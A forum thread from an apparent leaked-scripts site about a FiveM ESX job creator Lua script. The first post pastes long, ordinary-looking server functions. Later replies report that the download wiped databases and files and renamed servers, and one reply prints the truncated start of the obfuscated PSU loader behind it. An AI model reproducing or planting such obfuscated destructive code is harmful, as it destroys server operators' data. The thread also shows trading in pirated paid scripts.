Security HUD
System Watchdog
×
Threads Scanned
-- / --
SYS. LOAD --%
AI SHIELD ACTIVE
DMCA Policy
×

📋 DMCA Compliance

This platform and community fully complies with the Digital Millennium Copyright Act (DMCA) and international copyright laws. We take all copyright protection seriously.

🛡️ Copyright Protection

If you believe a posted item belongs to you or violates your copyright, you may file a DMCA takedown request through our official channels. Upon receiving a valid claim, the infringing content will be removed within 24 hours.

What's new
×
Fiveguard

Script ESX JOB CREATOR FREE PAID SCRIPT V 3.2.1

JackiChan

Gold Elite
Joined
Nov 11, 2021
Messages
128
Reaction score
921
Points
311
Location
Singapore
View attachment 3387
anyone was able to fix the script? the problem is in the esx_job_creator\server\functions

-- Key = jobName, value is a table of ([markerId] = true)
local jobsMarkersIDs = {}

-- Key = markerId, value = markerData
fullMarkerData = {}

-- key = markerId, value = job name
local jobNamesFromRankId = {}

local jobAllowedActions = {}

--[[ Utils ]]
function log(playerId, title, description, type, logType)
if(config.isDiscordLogActive) then
local xPlayer = ESX.GetPlayerFromId(playerId)
local identifier = xPlayer.identifier
local jobName = xPlayer.job.name
local jobGrade = xPlayer.job.grade

local color = nil

if(type == "info") then
color = 1752220
elseif(type == "error") then
color = 15548997
elseif(type == "success") then
color = 5763719
end

local webhook = config.specificWebhooks[logType] or config.discordWebhook

PerformHttpRequest(webhook, nil, "POST", json.encode({
username = GetCurrentResourceName(),
embeds = {
{
title = title,
description = getLocalizedText('log_generic',
GetPlayerName(playerId),
identifier,
jobName,
jobGrade,
description
),
timestamp = os.date("!%Y-%m-%dT%H:%M:%SZ"),
color = color
}
}
}), {
['Content-Type'] = 'application/json'
})
end
end

function isAllowed(playerId)
return IsPlayerAceAllowed(playerId, config.acePermission)
end

function isAllowedToUseMarker(playerId, markerId)
if(fullMarkerData[markerId].jobName == "public_marker") then
return true
end

local xPlayer = ESX.GetPlayerFromId(playerId)

local jobName = xPlayer.job.name
local jobGrade = xPlayer.job.grade

return (
(fullMarkerData[markerId].jobName == jobName)
and
(fullMarkerData[markerId].minGrade <= jobGrade)
)
end

function canUseMarkerWithLog(playerId, markerId)
if(not isAllowedToUseMarker(playerId, markerId)) then
log(playerId,
getLocalizedText('log_not_allowed_marker'),
getLocalizedText('log_not_allowed_marker_description',
markerId
),
'error'
)

return false
else
return true
end
end

function isCloseToMarker(playerId, markerId)
local plyPed = GetPlayerPed(playerId)

local plyCoords = GetEntityCoords(plyPed)
local markerCoords = vector3(fullMarkerData[markerId].coords.x, fullMarkerData[markerId].coords.y, fullMarkerData[markerId].coords.z)

local distance = #(plyCoords - markerCoords)

if(distance < fullMarkerData[markerId].scale.x + 2.0 or distance < fullMarkerData[markerId].scale.y + 2.0) then
return true
else
return false
end
end

function getJobNameFromRankId(rankId, cb)
if(jobNamesFromRankId[rankId]) then
cb(jobNamesFromRankId[rankId])
else
MySQL.Async.fetchScalar('SELECT job_name FROM job_grades WHERE id=@id', {
["@id"] = rankId
}, function(jobName)
jobNamesFromRankId[rankId] = jobName

cb(jobName)
end)
end
end

function getJobGradeFromRankId(rankId, cb)
MySQL.Async.fetchScalar('SELECT grade FROM job_grades WHERE id=@id', {
["@id"] = rankId
}, function(jobGrade)
cb(jobGrade)
end)
end

function stripCoords(oldCoords)
local x, y, z = table.unpack(oldCoords)

if (not x or not y or not z) then
x, y, z = oldCoords.x, oldCoords.y, oldCoords.z
end

local newCoords = {
x = tonumber(ESX.Math.Round(x, 2)),
y = tonumber(ESX.Math.Round(y, 2)),
z = tonumber(ESX.Math.Round(z, 2))
}

return newCoords
end

function canPlayerCarry(playerId, itemName, itemCount)

if (config.canAlwaysCarryItem) then
return true
end

local canCarry = false
local xPlayer = ESX.GetPlayerFromId(playerId)

if (xPlayer.canCarryItem) then
canCarry = xPlayer.canCarryItem(itemName, itemCount)
else
local item = xPlayer.getInventoryItem(itemName)
canCarry = (item.limit == -1) or ((item.count + itemCount) <= item.limit)
end

return canCarry
end

function checkAllowedActions(jobName, cb)
if(jobAllowedActions[jobName]) then
cb(jobAllowedActions[jobName])
else
MySQL.Async.fetchAll('SELECT * FROM jobs WHERE name=@jobName LIMIT 1', {
["@jobName"] = jobName
}, function(result)
if(result[1]) then
local data = {
enableBilling = result[1].enable_billing == 1,
canRob = result[1].can_rob == 1,
canHandcuff = result[1].can_handcuff == 1,
canLockpickCars = result[1].can_lockpick_cars == 1,
canWashVehicles = result[1].can_wash_vehicles == 1,
canRepairVehicles = result[1].can_repair_vehicles == 1,
canImpoundVehicles = result[1].can_impound_vehicles == 1,
canCheckIdentity = result[1].can_check_identity == 1,
canCheckVehicleOwner = result[1].can_check_vehicle_owner == 1,
canCheckDrivingLicense = result[1].can_check_driving_license == 1,
canCheckWeaponLicense = result[1].can_check_weapon_license == 1,
}

jobAllowedActions[jobName] = data

cb(data)
else
cb({})
end
end)
end
end

function payInSomeWay(playerId, amount)
local xPlayer = ESX.GetPlayerFromId(playerId)

if (xPlayer.getMoney() >= amount) then
xPlayer.removeMoney(amount)
return true
else
local bank = xPlayer.getAccount('bank')

if (bank.money >= amount) then
xPlayer.removeAccountMoney('bank', amount)
return true
else
return false
end
end

return false
end

function arePlayersClose(playerId, targetId, maxDistance)
local plyPed = GetPlayerPed(playerId)
local targetPed = GetPlayerPed(targetId)

if (plyPed and plyPed > 0 and targetPed and targetPed > 0) then

local plyCoords = GetEntityCoords(plyPed)
local targetCoords = GetEntityCoords(targetPed)

return #(plyCoords - targetCoords) < maxDistance
else
return false
end
end

function notify(playerId, message)
if (playerId) then
TriggerClientEvent('esx:showNotification', playerId, message)
end
end

function progressBar(playerId, time, text)
TriggerClientEvent('esx_job_creator:startProgressBar', playerId, time, text)
end

--[[ Ranks stuff ]]
function createRank(playerId, cb, jobName, rankName, rankLabel, rankGrade, rankSalary)
if(isAllowed(playerId)) then
if (jobName and rankName and rankLabel and rankGrade and rankSalary) then
MySQL.Async.insert(
'INSERT INTO job_grades(job_name, name, label, grade, salary, skin_male, skin_female) VALUES (@jobName, @rankName, @rankLabel, @rankGrade, @rankSalary, "{}", "{}");',
{
['@jobName'] = jobName,
['@rankName'] = rankName,
['@rankLabel'] = rankLabel,
['@rankGrade'] = rankGrade,
['@rankSalary'] = rankSalary
}, function(jobGradeId)
if (jobGradeId > 0) then
jobNamesFromRankId[jobGradeId] = jobName

local cbData = {
isSuccessful = true,
message = "Successful"
}

cb(cbData)
else
local cbData = {
isSuccessful = false,
message = "Couldn't create rank (database error)"
}

cb(cbData)
end
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't create rank, argument missing"
}
cb(cbData)
end
else
local cbData = {
isSuccessful = false,
message = "Couldn't create rank (not allowed)"
}
cb(cbData)
end
end

function updateRank(playerId, cb, data)
if(isAllowed(playerId)) then
if (data) then
MySQL.Async.execute(
'UPDATE job_grades SET name=@rankName, grade=@rankGrade, label=@rankLabel, salary=@rankSalary WHERE id=@rankId',
{
['@rankId'] = data.rankId,
['@rankGrade'] = data.rankGrade,
['@rankLabel'] = data.rankLabel,
['@rankSalary'] = data.rankSalary,
['@rankName'] = data.rankName
}, function(affectedRows)
if (affectedRows > 0) then
local cbData = {
isSuccessful = true,
message = "Successful"
}
cb(cbData)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update the rank"
}
cb(cbData)
end
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update rank, data is missing"
}
cb(cbData)
end
else
local cbData = {
isSuccessful = false,
message = "Couldn't update rank (not allowed)"
}
cb(cbData)
end
end

function deleteRank(playerId, cb, rankId)
if(isAllowed(playerId)) then
if (rankId) then
getJobNameFromRankId(rankId, function(jobName)
getJobGradeFromRankId(rankId, function(jobGrade)

MySQL.Async.execute('DELETE FROM `job_grades` WHERE id=@rankId', {
['@rankId'] = rankId
}, function(affectedRows)
if (affectedRows > 0) then
jobNamesFromRankId[rankId] = nil

-- Sets grade to 0 to all user with that job
MySQL.Async.execute('UPDATE `users` SET job_grade=0 WHERE job=@jobName AND job_grade=@jobGrade',
{
['@jobName'] = jobName,
['@jobGrade'] = jobGrade
}, function(affectedRows)
local cbData = {
isSuccessful = true,
message = "Successful"
}
cb(cbData)
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't delete rank id: " .. rankId
}
cb(cbData)
end
end)
end)
end)
else
local cbData = {
isSuccessful = false,
message = "Empty rank id"
}
cb(cbData)
end
else
local cbData = {
isSuccessful = false,
message = "Not allowed"
}
cb(cbData)
end
end

-- Deletes all grades from job_grades of a job name
function deleteGradesOfJob(jobName)
MySQL.Async.execute('DELETE FROM job_grades WHERE job_name=@jobName', {
['@jobName'] = jobName
}, function(affectedRows)
if(affectedRows > 0) then
for rankId, currentJobName in pairs(jobNamesFromRankId) do
if(jobName == currentJobName) then
jobNamesFromRankId[rankId] = nil
end
end
end
end)
end

-- Returns all ranks of jobName
function retrieveJobRanks(jobName, cb)
MySQL.Async.fetchAll(
'SELECT id, grade, name, label, salary FROM `job_grades` WHERE job_name=@jobName ORDER BY grade ASC', {
['@jobName'] = jobName
}, function(ranks)
cb(ranks)
end)
end

--[[ Jobs stuff ]]
function registerSocieties()
retrieveJobsData(function(jobs)

print()
for jobName, data in pairs(jobs) do
local msg = "^6[%s]^7 Creating society ^5%s^7 (id: ^5%s^7) with ^5%d^7 grades"

print(format(msg, GetCurrentResourceName(), data.label, data.name, #data.ranks))

createSociety(jobName, data.label)
end
print()
end)
end

local function createAddonAccount(jobName, jobLabel, societyName)
MySQL.Async.fetchScalar("SELECT 1 FROM `addon_account` WHERE BINARY(name)=@societyName", {
['@societyName'] = societyName
}, function(doesAlreadyExists)
if(doesAlreadyExists) then return end

MySQL.Async.execute('INSERT INTO `addon_account`(name, label, shared) VALUES (@societyName, @jobLabel, 1) ON DUPLICATE KEY UPDATE name=@societyName', {
['@societyName'] = societyName,
['@jobLabel'] = jobLabel
}, function(affectedRows)
if (affectedRows > 0) then
local msg = "^6[%s]^7 Created ^5%s^7 in ^8'addon_account'^7"
print(format(msg, GetCurrentResourceName(), jobName))

MySQL.Async.fetchScalar('SELECT 1 FROM addon_account_data WHERE account_name=@societyName', {
['@societyName'] = societyName
}, function(doesAlreadyExists)
if(doesAlreadyExists) then
TriggerEvent('esx_addonaccount:refreshAccounts')
return
end

MySQL.Async.execute(
'INSERT INTO `addon_account_data`(account_name, money, owner) VALUES (@societyName, 0, NULL) ON DUPLICATE KEY UPDATE account_name=@societyName', {
['@societyName'] = societyName
}, function(affectedRows)
if (affectedRows > 0) then
local msg = "^6[%s]^7 Created ^5%s^7 in ^8'addon_account_data'^7"

print(format(msg, GetCurrentResourceName(), jobName))
end

TriggerEvent('esx_addonaccount:refreshAccounts')
end)
end)
end
end)
end)
end

local function createDatastore(jobName, jobLabel, societyName)
MySQL.Async.fetchScalar('SELECT 1 FROM datastore WHERE BINARY(name)=@societyName', {
['@societyName'] = societyName
}, function(doesAlreadyExists)
if(doesAlreadyExists) then return end

MySQL.Async.execute('INSERT INTO `datastore`(name, label, shared) VALUES (@societyName, @jobLabel, 1) ON DUPLICATE KEY UPDATE name=@societyName', {
['@societyName'] = societyName,
['@jobLabel'] = jobLabel
}, function(affectedRows)
if (affectedRows > 0) then
local msg = "^6[%s]^7 Created ^5%s^7 in ^3'datastore'^7"

print(format(msg, GetCurrentResourceName(), jobName))

MySQL.Async.fetchScalar('SELECT 1 FROM datastore_data WHERE BINARY(name)=@societyName', {
['@societyName'] = societyName
}, function(doesAlreadyExists)
if (doesAlreadyExists) then return end

MySQL.Async.execute('INSERT INTO `datastore_data`(name, owner, data) VALUES (@societyName, NULL, "{}") ON DUPLICATE KEY UPDATE name=@societyName', {
['@societyName'] = societyName
}, function(affectedRows)
if (affectedRows > 0) then
local msg = "^6[%s]^7 Created ^5%s^7 in ^3'datastore_data'^7"

print(format(msg, GetCurrentResourceName(), jobName))
end
end)
end)
end
end)
end)
end

local function createAddonInventory(jobName, jobLabel, societyName)
MySQL.Async.fetchScalar("SELECT 1 FROM addon_inventory WHERE BINARY(name)=@societyName", {
['@societyName'] = societyName
}, function(doesAlreadyExists)
if(doesAlreadyExists) then return end

MySQL.Async.execute('INSERT INTO `addon_inventory`(name, label, shared) VALUES (@societyName, @jobLabel, 1) ON DUPLICATE KEY UPDATE name=@societyName', {
['@societyName'] = societyName,
['@jobLabel'] = jobLabel
}, function(affectedRows)
if (affectedRows > 0) then
local msg = "^6[%s]^7 Created ^5%s^7 in ^2'addon_inventory'^7"

print(format(msg, GetCurrentResourceName(), jobName))
end
end)
end)
end

local function registerSociety(jobName, jobLabel, societyName, attemptsCount)
attemptsCount = attemptsCount or 1

MySQL.Async.fetchScalar('SELECT shared FROM addon_account WHERE name=@societyName', {
['@societyName'] = societyName
}, function(isShared)
if (isShared == 1) then
TriggerEvent('esx_society:registerSociety', jobName, jobLabel, societyName, societyName, societyName, {
type = 'public'
})

Citizen.Wait(2000)

TriggerEvent('esx_society:getSociety', jobName, function(society)
if(society) then
TriggerEvent('esx_addonaccount:getSharedAccount', societyName, function(account)
if(not account) then
MySQL.Async.fetchAll("SELECT * FROM addon_account WHERE name=@societyName", {
["@societyName"] = societyName
}, function(results)
if(results[1]) then
if(results[1].name ~= societyName or results[1].shared == 0) then
print()

local msg = "^6[%s]^1 Found ^5%s^1 in database table 'addon_account' but couldn't register it^7"
print(format(msg, GetCurrentResourceName(), jobName))

local msg = "^6[%s]^1 Database values: name = %s, label = %s, shared = %d^7"
print(format(msg, GetCurrentResourceName(), results[1].name, results[1].label, results[1].shared))
end
else
local msg = "^6[%s]^1 Couldn't find ^5%s^1 in database table 'addon_account'^7"

print(format(msg, GetCurrentResourceName(), societyName))
end

if(attemptsCount < 3) then
Citizen.Wait(2000)
registerSociety(jobName, jobLabel, societyName, attemptsCount + 1)
end
end)
end
end)

TriggerEvent('esx_datastore:getSharedDataStore', societyName, function(datastore)
if(not datastore) then
MySQL.Async.fetchAll("SELECT * FROM datastore WHERE name=@societyName", {
["@societyName"] = societyName
}, function(results)
if(results[1]) then
if(results[1].name ~= societyName or results[1].shared == 0) then
print()

local msg = "^6[%s]^1 Found ^5%s^1 in database table 'datastore' but couldn't register it^7"
print(format(msg, GetCurrentResourceName(), jobName))

local msg = "^6[%s]^1 Database values: name = %s, label = %s, shared = %d^7"
print(format(msg, GetCurrentResourceName(), results[1].name, results[1].label, results[1].shared))
end
else
local msg = "^6[%s]^1 Couldn't find ^5%s^1 in database table 'datastore'^7"

print(format(msg, GetCurrentResourceName(), societyName))
end

if(attemptsCount < 3) then
Citizen.Wait(2000)
registerSociety(jobName, jobLabel, societyName, attemptsCount + 1)
end
end)
end
end)
end
end)
end
end)
end

function createSociety(jobName, jobLabel)
local societyName = "society_" .. jobName

createAddonAccount(jobName, jobLabel, societyName)
createAddonInventory(jobName, jobLabel, societyName)
createDatastore(jobName, jobLabel, societyName)

registerSociety(jobName, jobLabel, societyName)
end

function createJob(jobName, jobLabel, cb)
MySQL.Async.execute('INSERT INTO jobs(name, label) VALUES (@jobName, @jobLabel)', {
['@jobName'] = jobName,
['@jobLabel'] = jobLabel
}, function(affectedRows)
if (affectedRows > 0) then
createSociety(jobName, jobLabel)
local cbData = {
isSuccessful = true,
message = "Successful"
}
cb(cbData)
else
local cbData = {
isSuccessful = false,
message = "Couldn't create the job"
}
cb(cbData)
end
end)
end

local function updateRanksJobName(oldJobName, newJobName)
MySQL.Async.execute("UPDATE job_grades SET job_name=@newJobName WHERE job_name=@oldJobName", {
['@oldJobName'] = oldJobName,
['@newJobName'] = newJobName,
})
end

local function updateMarkersJobName(oldJobName, newJobName)
MySQL.Async.execute("UPDATE jobs_data SET job_name=@newJobName WHERE job_name=@oldJobName", {
['@oldJobName'] = oldJobName,
['@newJobName'] = newJobName,
})
end

function updateJob(oldJobName, newJobName, newJobLabel, whitelisted, actions, cb)
if (oldJobName and newJobName and newJobLabel) then

jobAllowedActions[newJobName] = actions

-- Refresh allowed actions to players
for k, playerId in pairs(ESX.GetPlayers()) do
local xPlayer = ESX.GetPlayerFromId(playerId)

if(xPlayer.job.name == oldJobName) then
TriggerClientEvent('esx_job_creator:checkAllowedActions', playerId)
end
end

MySQL.Async.execute([[
UPDATE `jobs`
SET `label`=@newJobLabel,
`name`=@newJobName,
`enable_billing`=@enableBilling,
`can_rob`=@canRob,
`can_handcuff`=@canHandcuff,
`whitelisted`=@whitelisted,
`can_lockpick_cars`=@canLockpickCars,
`can_wash_vehicles`=@canWashVehicles,
`can_repair_vehicles`=@canRepairVehicles,
`can_impound_vehicles`=@canImpoundVehicles,
`can_check_identity`=@canCheckIdentity,
`can_check_vehicle_owner`=@canCheckVehicleOwner,
`can_check_driving_license`=@canCheckDrivingLicense,
`can_check_weapon_license`=@canCheckWeaponLicense

WHERE `name`=@oldJobName
]], {
['@newJobName'] = newJobName,
['@newJobLabel'] = newJobLabel,
['@oldJobName'] = oldJobName,
['@enableBilling'] = actions.enableBilling,
['@canRob'] = actions.canRob,
['@canHandcuff'] = actions.canHandcuff,
['@whitelisted'] = whitelisted,
['@canLockpickCars'] = actions.canLockpickCars,
['@canWashVehicles'] = actions.canWashVehicles,
['@canRepairVehicles'] = actions.canRepairVehicles,
['@canImpoundVehicles'] = actions.canImpoundVehicles,
['@canCheckIdentity'] = actions.canCheckIdentity,
['@canCheckVehicleOwner'] = actions.canCheckVehicleOwner,
['@canCheckDrivingLicense'] = actions.canCheckDrivingLicense,
['@canCheckWeaponLicense'] = actions.canCheckWeaponLicense,
}, function(affectedRows)
if (affectedRows > 0) then

if(oldJobName ~= newJobName) then
updateRanksJobName(oldJobName, newJobName)
updateMarkersJobName(oldJobName, newJobName)
end

local cbData = {
isSuccessful = true,
message = "Successful"
}
cb(cbData)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update the job"
}
cb(cbData)
end
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update the job, argument missing"
}
cb(cbData)
end
end

-- Players will be unemployed
function removeJobFromPlayers(jobName)
MySQL.Async.execute('UPDATE users SET job=@unemployedJob, job_grade=@unemployedGrade WHERE job=@jobName', {
['@jobName'] = jobName,
["@unemployedJob"] = config.unemployedJob,
["@unemployedGrade"] = config.unemployedGrade
}, nil)
end

function deleteJob(jobName, cb)
MySQL.Async.execute('DELETE FROM jobs WHERE name=@jobName', {
['@jobName'] = jobName
}, function(affectedRows)
if (affectedRows > 0) then
local cbData = {
isSuccessful = true,
message = "Successful"
}
cb(cbData)

removeJobFromPlayers(jobName)
deleteGradesOfJob(jobName)
deleteJobMarkers(jobName)
else
local cbData = {
isSuccessful = false,
message = "Couldn't delete this job"
}
cb(cbData)
end
end)
end

function retrieveJobsData(cb)
MySQL.Async.fetchAll('SELECT * FROM jobs ORDER BY label', {}, function(jobs)
if (jobs) then
local jobsData = {}
local completed = 0

for k, job in pairs(jobs) do
jobsData[job.name] = {
name = job.name,
label = job.label,

enableBilling = job.enable_billing,
canRob = job.can_rob,
canHandcuff = job.can_handcuff,
whitelisted = job.whitelisted,
canLockpickCars = job.can_lockpick_cars,
canWashVehicles = job.can_wash_vehicles,
canRepairVehicles = job.can_repair_vehicles,
canImpoundVehicles = job.can_impound_vehicles,
canCheckIdentity = job.can_check_identity,
canCheckVehicleOwner = job.can_check_vehicle_owner,
canCheckDrivingLicense = job.can_check_driving_license,
canCheckWeaponLicense = job.can_check_weapon_license,

ranks = {}
}

retrieveJobRanks(job.name, function(ranks)
if (ranks) then
jobsData[job.name].ranks = ranks

completed = completed + 1

if (completed >= #jobs) then
cb(jobsData)
end
end
end)
end
else
cb(false)
end
end)
end

--[[ Markers stuff ]]
function createNewMarker(jobName, label, type, coords, minGrade, cb)
local coords = stripCoords(coords)

MySQL.Async.insert(
'INSERT INTO jobs_data(job_name, type, coords, min_grade, label) VALUES (@jobName, @type, @coords, @minGrade, @label);',
{
['@jobName'] = jobName,
['@type'] = type,
["@coords"] = json.encode(coords),
["@minGrade"] = minGrade,
["@label"] = label
}, function(markerId)
if (markerId > 0) then
jobsMarkersIDs[jobName] = jobsMarkersIDs[jobName] or {}
jobsMarkersIDs[jobName][markerId] = true

fullMarkerData[markerId] = {
jobName = jobName,
label = label,
type = type,
coords = coords,
minGrade = minGrade,
data = {},
id = markerId,
color = {
r = 255,
g = 255,
b = 0,
alpha = 50
},

scale = {
x = 1.5,
y = 1.5,
z = 0.5
},

blip = {

},

markerType = 1,
}

makeAllJobPlayersRefreshMarkers(jobName, function()
local cbData = {
isSuccessful = true,
message = "Successful",
markerId = markerId
}

cb(cbData)
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't create the marker"
}
cb(cbData)
end
end)
end

function getMarkersFromJobName(jobName)
if(not jobsMarkersIDs[jobName]) then
return {}
else
local markers = {}

for markerId, _ in pairs(jobsMarkersIDs[jobName]) do
markers[markerId] = fullMarkerData[markerId]
end

return markers
end
end

function getPublicMarkers()
return getMarkersFromJobName('public_marker')
end

function getAllMarkers()
MySQL.Async.fetchAll('SELECT * FROM jobs_data', {},
function(markersData)
for k, markerData in pairs(markersData) do
local markerId = markerData.id
local jobName = markerData.job_name

fullMarkerData[markerId] = {
id = markerId,

label = markerData.label,

coords = json.decode(markerData.coords),

minGrade = markerData.min_grade,

blip = {
spriteId = markerData.blip_id,
color = markerData.blip_color,
scale = markerData.blip_scale,
},

type = markerData.type,
jobName = jobName,
data = json.decode(markerData.data),
markerType = markerData.marker_type,

scale = {
x = markerData.marker_scale_x,
y = markerData.marker_scale_y,
z = markerData.marker_scale_z,
},

color = {
r = markerData.marker_color_red,
g = markerData.marker_color_green,
b = markerData.marker_color_blue,
alpha = markerData.marker_color_alpha,
},

ped = {
model = markerData.ped,
heading = markerData.ped_heading,
}
}

jobsMarkersIDs[jobName] = jobsMarkersIDs[jobName] or {}

jobsMarkersIDs[jobName][markerId] = true
end
end
)
end

function getMarkersMinGrade(jobName, jobGrade, cb)
local jobMarkers = getMarkersFromJobName(jobName)
local publicMarkers = getPublicMarkers()

for markerId, markerData in pairs(jobMarkers) do
if(jobGrade < markerData.minGrade) then
jobMarkers[markerId] = nil
end
end

for markerId, markerData in pairs(publicMarkers) do
jobMarkers[markerId] = markerData
end

cb(jobMarkers)
end

function makeAllJobPlayersRefreshMarkers(jobName, cb)
if(jobName == "public_marker") then
TriggerClientEvent('esx_job_creator:refreshMarkers', -1)
else
for _, playerId in pairs(ESX.GetPlayers()) do
local xPlayer = ESX.GetPlayerFromId(playerId)

if (xPlayer.job.name == jobName) then
TriggerClientEvent('esx_job_creator:refreshMarkers', playerId)
end
end
end

if (cb) then
cb()
end
end

function deleteMarker(markerId, cb)
local jobName = fullMarkerData[markerId].jobName

if (jobName) then
MySQL.Async.execute('DELETE FROM jobs_data WHERE id=@markerId', {
['@markerId'] = markerId
}, function(affectedRows)
if (affectedRows > 0) then
jobsMarkersIDs[jobName][markerId] = nil
fullMarkerData[markerId] = nil

makeAllJobPlayersRefreshMarkers(jobName)

local cbData = {
isSuccessful = true,
message = "Successful"
}

cb(cbData)
else
local cbData = {
isSuccessful = false,
message = "Couldn't delete the marker"
}

cb(cbData)
end
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't delete the marker (no job name in marker id data)"
}

cb(cbData)
end
end

function updateMarker(playerId, cb, markerId, newMarkerData)
local coords = stripCoords(newMarkerData.coords)

MySQL.Async.execute([[
UPDATE jobs_data SET
coords=@coords,

min_grade=@minGrade,

label=@label,

blip_id=@blipSpriteId,
blip_color=@blipColor,
blip_scale=@blipScale,

marker_type=@markerType,

marker_scale_x=@scaleX,
marker_scale_y=@scaleY,
marker_scale_z=@scaleZ,

marker_color_red=@red,
marker_color_green=@green,
marker_color_blue=@blue,

marker_color_alpha=@alpha,

ped=@ped,
ped_heading=@ped_heading

WHERE id=@markerId
]], {
['@markerId'] = markerId,
['@coords'] = json.encode(coords),
['@minGrade'] = newMarkerData.minGrade,
['@label'] = newMarkerData.label,

['@blipSpriteId'] = newMarkerData.blip.spriteId,
['@blipColor'] = newMarkerData.blip.color,
['@blipScale'] = newMarkerData.blip.scale,

['@markerType'] = newMarkerData.markerType,

['@scaleX'] = newMarkerData.scale.x,
['@scaleY'] = newMarkerData.scale.y,
['@scaleZ'] = newMarkerData.scale.z,

['@red'] = newMarkerData.color.r,
['@green'] = newMarkerData.color.g,
['@blue'] = newMarkerData.color.b,
['@alpha'] = newMarkerData.color.alpha,

['@ped'] = newMarkerData.ped.model,
['@ped_heading'] = newMarkerData.ped.heading,
}, function(affectedRows)
if (affectedRows > 0) then
local markerData = fullMarkerData[markerId].data
local markerType = fullMarkerData[markerId].type
local markerJobName = fullMarkerData[markerId].jobName

fullMarkerData[markerId] = {
id = markerId,
label = newMarkerData.label,
coords = coords,
minGrade = newMarkerData.minGrade,
blip = newMarkerData.blip,
color = newMarkerData.color,
scale = newMarkerData.scale,
markerType = newMarkerData.markerType,
ped = newMarkerData.ped,
data = markerData,
type = markerType,
jobName = markerJobName
}

makeAllJobPlayersRefreshMarkers(fullMarkerData[markerId].jobName, function()
local cbData = {
isSuccessful = true,
message = "Successful"
}

cb(cbData)
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update the marker"
}
cb(cbData)
end
end)
end

function updateMarkerData(markerId, data, cb)
MySQL.Async.execute('UPDATE jobs_data SET data=@data WHERE id=@markerId', {
['@markerId'] = markerId,
["@data"] = json.encode(data)
}, function(affectedRows)
if (affectedRows > 0) then
fullMarkerData[markerId].data = data

makeAllJobPlayersRefreshMarkers(fullMarkerData[markerId].jobName, function()
local cbData = {
isSuccessful = true,
message = "Successful"
}

cb(cbData)
end)
else
local cbData = {
isSuccessful = false,
message = "Couldn't update marker data"
}
cb(cbData)
end
end)
end

function deleteJobMarkers(jobName)
MySQL.Async.execute('DELETE FROM jobs_data WHERE job_name=@jobName', {
['@jobName'] = jobName
}, function(affectedRows)
if(affectedRows > 0) then
for markerId, v in pairs(jobsMarkersIDs) do
fullMarkerData[markerId] = nil
end

jobsMarkersIDs[jobName] = {}
end
end)
end

function getMarkerLabel(playerId, cb, markerId)
cb(fullMarkerData[markerId].label)
end

function playAnimation(playerId, animations)
if(animations) then
local randomAnimation = animations[math.random(1, #animations)]

if(randomAnimation) then
TriggerClientEvent('esx_job_creator:playAnimation', playerId, randomAnimation)
end
end
end

function getSellableStuff(playerId, cb)
local xPlayer = ESX.GetPlayerFromId(playerId)

local sellableStuff = {}

for k, itemData in pairs(xPlayer.getInventory()) do
if(itemData.count > 0) then
table.insert(sellableStuff, {
label = getLocalizedText('job_shop:item', itemData.count, itemData.label),
value = itemData.name,
count = itemData.count,
type = "item_standard"
})
end
end

for k, weaponData in pairs(xPlayer.getLoadout()) do
table.insert(sellableStuff, {
label = weaponData.label,
value = weaponData.name,
count = 1,
type = "item_weapon"
})
end

cb(sellableStuff)
end
 
Last edited:

WeddasRP

Bronze Elite
Joined
Oct 22, 2021
Messages
5
Reaction score
2
Points
156
Location
España
does it work?
I downloaded it and it made all the server scripts corrupt, changed the server name to I was using a stolen script.
and I could not use any of the files I had on the server.
Luckily I had a backup

I tried to download again but the link is down.
 
Joined
Nov 2, 2021
Messages
5
Reaction score
1
Points
156
Location
asdasa
this is a rat, look in functions.lua! obfucicated code that deletes your database and your files! renames your server this server uses leaks
 

FrostByteS

Gold Elite
Joined
May 30, 2021
Messages
682
Reaction score
53,570
Points
341
virus deletes your whole database and files :)
LoL
1.PNG


//new download add
 
Last edited:
Joined
Nov 2, 2021
Messages
5
Reaction score
1
Points
156
Location
asdasa
for l,e in pairs({(function(e,...)_6ceace185576391a="This file was obfuscated using PSU Obfuscator 4.5.A | & discord.gg/psu";local N=_6ceace185576391a local g=e[((#{}+271670350))];local w=e.R4gyzBcJ;local X=e[(12108827)];local k=e[(171388510)];local D=e[((#{(function(...)return;end)}+291075053))];local s=e[(75680969)];local R=e[((#{264;620;643;(function(...)return 899,233,995;end)}+838611769))];local i=e[(292026839)];local G=e[((#{610;996;650;668;}+862920506))];local q=e['o40FS'];local r=e[(786181642)];local t=e["QWIQmp"];local O=e["xxzo8pQ0"];local n=e[(366584233)];local d=e[(142674078)];local W=e[((892066119-#("never gonna give you up")))];local L=e[((#{}+638479806))];local V=e[((#{191;}+276354134))];local u=e.xDcP6;local j=e[((550526319-#("PSU_REMOVE_CONSTANT")))];local T=e[(512448012)];local J=e[((275599769-#("your dick will be a better place")))];local v=e.yCWBBo14kp;local Z=e['bShB7gut'];local x=e.FvDYl;local C=e[((#{117;490;188;(function(...)return 907;end)}+357570401))];local p=e[((#{354;736;416;231;}+926704560))];local ee=e[(359219848)];local Y=e.NLxtU;local K=e[((#{552;}+323347367))];local y=e[(750485392)];local z=e[((545702497-#("855226340382998541")))];local a=e['Dz7QErV3'];local S=((getfenv)or(function(...)return(_ENV);end));local o,f,l=({}),(""),(S(n));local c=((l[""..e.."\105\116"..e[W].."\50"])or(l["\98\105\116"])or({}));local o=(((c)and(c["\98"..e[w]..e["wD8Qp8"]..e[y]]))or(function(e,l)local n,o=n,d;while((e>d)and(l>d))do local t,c=e%a,l%a;if t~=c then o=o+n;end;e,l,n=(e-t)/a,(l-c)/a,n*a;end;if e<l then e=l;end;while e>d do local l=e%a;if l>d then o=o+n;end;e,n=(e-l)/a,n*a;end;return(o);end));local h=(a^k);local m=(h-n);local B,F,P;local h=(f[""..e[z]..e.."\117"..e]);local U=(f[""..e[p]..e[x].."\97\114"]);local h=(f[""..e.."\117"..e]);local E=(f[""..e.."\121"..e[t]..e[r]]);local H=function(l,n,e)return e+n or l*e end;local M=((l["\109"..e['lghPXdg']..e[t].."\104"][""..e.."\100"..e[r]..e[w]..e[D]])or(function(l,e,...)return((l*a)^e);end));local 